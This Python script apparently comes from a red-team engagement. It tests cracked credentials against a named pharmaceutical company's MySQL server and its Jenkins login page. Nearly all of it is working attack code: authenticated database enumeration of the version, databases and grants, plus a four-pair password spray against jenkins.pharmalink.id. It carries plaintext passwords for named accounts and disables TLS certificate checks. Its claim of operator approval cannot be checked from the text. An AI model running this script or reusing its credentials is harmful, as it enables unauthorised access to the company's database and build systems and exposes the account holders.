#!/usr/bin/env python3
"""MySQL 13.250.197.171 probe + Jenkins auth attempt (operator GO 2026-08-17).

(a) MySQL: TCP + auth probe as PharmanetBois:d3v3l0p8015 on 13.250.197.171:3306
    (AWS SG, from refund.yaml). Read-only: VERSION, CURRENT_USER, SHOW DATABASES,
    GRANTS. Also try michael_tjitra:d3v3l0p8015 (same pw, cracked) — 2 attempts max.
(b) Jenkins: POST /j_spring_security_check on jenkins.pharmalink.id with a
    SMALL hand-picked set (michael_tjitra:d3v3l0p8015, michael_tjitra:pharmavid123,
    devsecops:d3v3l0p8015, devsecops:pharmavid123, marcello:... no — keep to 4
    max to avoid lockout/alerting). Identify success by redirect to / (302 with
    no loginError). Stop at first success.

Egress: 13.250.197.171:3306, jenkins.pharmalink.id:443. Auth attempts logged
on victim side (Jenkins log, MySQL general log if enabled) — operator accepted.
Out: mysql_jenkins_auth_aug17.json + OPLOG.
"""
import importlib.util
import json
import re
import ssl
import sys
import urllib.parse
import urllib.request
from datetime import datetime, timezone
from pathlib import Path

ROOT = Path('/root/ir-assessment')
DOSSIER = ROOT / 'redteam/gitlab_pharmalink_id'

spec = importlib.util.spec_from_file_location('l2s', str(ROOT / 'redteam/l2_aug06_sweep.py'))
l2s = importlib.util.module_from_spec(spec)
spec.loader.exec_module(l2s)

CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE

def oplog(dst, tool, cmd, desc, output, result):
    ts = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M')
    with open(DOSSIER / 'OPLOG.md', 'a') as f:
        f.write(f"{ts} | local | {dst} | {tool} | {cmd} | {desc} | {output} | {result} | none | auth GO\n")

def logline(dst, tool, cmd, output, result):
    """compact 5-arg helper matching older signature"""
    ts = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M')
    with open(DOSSIER / 'OPLOG.md', 'a') as f:
        f.write(f"{ts} | local | {dst} | {tool} | {cmd} | auth probe | {output} | {result} | none | auth GO\n")

def mysql_probe(host, user, pw):
    import pymysql
    e = {'host': host, 'user': user}
    try:
        conn = pymysql.connect(host=host, port=3306, user=user, password=pw,
                               connect_timeout=12, read_timeout=15, charset='utf8mb4')
        e['auth'] = 'OK'
        cur = conn.cursor()
        cur.execute('SELECT VERSION(), CURRENT_USER(), @@hostname')
        e['version'], e['current_user'], e['hostname'] = cur.fetchone()
        cur.execute('SHOW DATABASES')
        e['databases'] = sorted(r[0] for r in cur.fetchall())
        cur.execute('SHOW GRANTS')
        e['grants'] = [r[0][:250] for r in cur.fetchall()]
        conn.close()
    except Exception as ex:
        e['auth'] = f'FAIL: {type(ex).__name__}: {str(ex)[:120]}'
    return e

def jenkins_login(base, user, pw):
    """POST spring security check; return (verdict, detail)."""
    data = urllib.parse.urlencode({'j_username': user, 'j_password': pw,
                                   'from': '/', 'Submit': 'log in'}).encode()
    req = urllib.request.Request(base + '/j_spring_security_check', data=data,
                                 headers={'Content-Type': 'application/x-www-form-urlencoded',
                                          'User-Agent': 'Mozilla/5.0'})
    class NoRedirect(urllib.request.HTTPRedirectHandler):
        def redirect_request(self, *a, **k):
            return None
    op = urllib.request.build_opener(NoRedirect, urllib.request.HTTPSHandler(context=CTX))
    try:
        with op.open(req, timeout=15) as r:
            code, hdrs = r.status, dict(r.headers)
    except urllib.error.HTTPError as e:
        code, hdrs = e.code, dict(e.headers or {})
    except Exception as e:
        return 'error', f'{type(e).__name__}: {e}'
    loc = hdrs.get('Location', '')
    setc = hdrs.get('Set-Cookie', '')
    if code == 302 and 'loginError' not in loc and loc.rstrip('/').endswith(('/', 'jenkins.pharmalink.id')) or (loc == '/'):
        return 'SUCCESS', f'302 -> {loc}; cookie={setc[:60]}'
    if code == 302 and 'loginError' in loc:
        return 'INVALID', f'302 -> {loc}'
    return 'unknown', f'http {code} loc={loc}'

def main():
    report = {}

    # (a) MySQL
    print('[*] (a) MySQL 13.250.197.171 probes', file=sys.stderr)
    results = []
    for user, pw in (('PharmanetBois', 'd3v3l0p8015'), ('michael_tjitra', 'd3v3l0p8015')):
        r = mysql_probe('13.250.197.171', user, pw)
        results.append(r)
        print(f"  {user}: {r['auth'][:90]}", file=sys.stderr)
        if r['auth'] == 'OK':
            print(f"    version={r['version']} current_user={r['current_user']} host={r['hostname']}", file=sys.stderr)
            print(f"    databases={r['databases']}", file=sys.stderr)
    report['mysql'] = results
    logline('13.250.197.171:3306', 'pymysql', 'connect PharmanetBois + michael_tjitra (d3v3l0p8015)',
            '; '.join(f"{r['user']}={r['auth'][:40]}" for r in results),
            'SUCCESS' if any(r['auth'] == 'OK' for r in results) else 'FAIL')

    # (b) Jenkins — max 4 attempts, stop at first success
    print('[*] (b) Jenkins auth attempts', file=sys.stderr)
    base = 'https://jenkins.pharmalink.id'
    attempts = [
        ('michael_tjitra', 'd3v3l0p8015'),
        ('michael_tjitra', 'pharmavid123'),
        ('devsecops', 'd3v3l0p8015'),
        ('devsecops', 'pharmavid123'),
    ]
    jres = []
    success = None
    for user, pw in attempts:
        verdict, detail = jenkins_login(base, user, pw)
        jres.append({'user': user, 'verdict': verdict, 'detail': detail})
        print(f'  {user}: {verdict} ({detail[:80]})', file=sys.stderr)
        if verdict == 'SUCCESS':
            success = user
            break
    report['jenkins'] = jres
    report['jenkins_success_user'] = success
    logline('jenkins.pharmalink.id:443', 'urllib/POST', 'POST /j_spring_security_check x<=4',
            '; '.join(f"{j['user']}={j['verdict']}" for j in jres),
            'SUCCESS' if success else 'FAIL')

    (DOSSIER / 'mysql_jenkins_auth_aug17.json').write_text(json.dumps(report, indent=1, ensure_ascii=False, default=str))
    print('[+] -> mysql_jenkins_auth_aug17.json', file=sys.stderr)

if __name__ == '__main__':
    main()